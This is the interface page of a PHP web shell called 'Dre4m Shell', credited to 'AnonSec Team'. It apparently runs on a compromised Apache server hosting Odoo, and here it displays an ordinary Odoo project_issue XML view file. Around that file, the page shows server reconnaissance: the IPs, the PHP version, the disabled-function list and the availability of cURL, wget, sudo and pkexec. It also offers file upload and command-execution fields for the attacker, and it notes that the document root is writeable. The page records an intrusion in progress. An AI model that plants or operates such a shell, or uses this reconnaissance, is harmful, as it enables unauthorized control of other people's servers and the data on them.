Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.116.36.23
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/project_issue/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/project_issue/views/project_project_views.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>

    <record id="project_project_view_form_simplified_inherit_issue" model="ir.ui.view">
        <field name="name">project.project.view.form.simplified.inherit.issue</field>
        <field name="model">project.project</field>
        <field name="inherit_id" ref="project.project_project_view_form_simplified"/>
        <field name="priority">16</field>
        <field name="arch" type="xml">
            <group name="options" position="attributes">
                <attribute name="invisible">0</attribute>
            </group>
            <field name="use_tasks" position="after">
                <field name="use_issues"/>
            </field>
        </field>
    </record>

    <record id="view_project_kanban_inherited" model="ir.ui.view">
        <field name="name">project.project.kanban.inherited</field>
        <field name="model">project.project</field>
        <field name="inherit_id" ref="project.view_project_kanban"/>
        <field name="priority">16</field>
        <field name="arch" type="xml">
            <field name="use_tasks" position="after">
                <field name="use_issues"/>
                <field name="issue_count" invisible="1"/>
                <field name="issue_needaction_count" invisible="1"/>
            </field>
            <xpath expr="//div[contains(@class, 'o_kanban_manage_reports')]/div[last()]" position="after">
                <div attrs="{'invisible': [('use_issues', '=', False)]}">
                    <a name="%(action_project_issue_report_filtered)d" type="action">Issues</a>
                </div>
            </xpath>
            <xpath expr="//div[contains(@class, 'o_project_kanban_box')]/div[last()]" position="before">
                <div attrs="{'invisible': [('use_issues', '=', False)]}" class="o_project_kanban_box">
                    <a name="%(act_project_project_2_project_issue_all)d" type="action">
                        <span class="o_value"><t t-raw="record.issue_count.raw_value"/></span>
                        <span class="o_label"><field name="label_issues"/></span>
                        <a t-if="record.issue_needaction_count.raw_value" class="o_needaction" name="%(act_project_project_2_project_issue_all)d" type="action" context="{'search_default_message_needaction': 1}">
                            <t t-esc="record.issue_needaction_count.raw_value"/>
                        </a>
                    </a>
                </div>
            </xpath>
        </field>
    </record>

    <record id="view_project_form_inherited" model="ir.ui.view">
        <field name="name">project.project.form.inherited</field>
        <field name="model">project.project</field>
        <field name="inherit_id" ref="project.edit_project"/>
        <field name="priority">16</field>
        <field name="arch" type="xml">
            <div name="options_active" position="attributes">
                <attribute name="class"></attribute>
            </div>
            <xpath expr='//div[@name="options_active"]' position='inside'>
                <div>
                    <field name="use_issues" class="oe_inline"/>
                    <label for="use_issues" class="oe_inline" string="Issues"/>
                    <span attrs="{'invisible':[('use_issues', '=', False)]}">as </span>
                    <field name="label_issues" class="oe_inline oe_input_align" attrs="{'invisible': [('use_issues', '=', False)]}"/>
                </div>
            </xpath>
            <button name="toggle_active" position="before">
                <button class="oe_stat_button" type="action" attrs="{'invisible':[('use_issues','=', False)]}"
                    name="%(act_project_project_2_project_issue_all)d" icon="fa-bug">
                    <field string="Issues" name="issue_count" widget="statinfo" options="{'label_field': 'label_issues'}"/>
                </button>
            </button>
        </field>
   </record>
</odoo>

Anon7 - 2022
AnonSec Team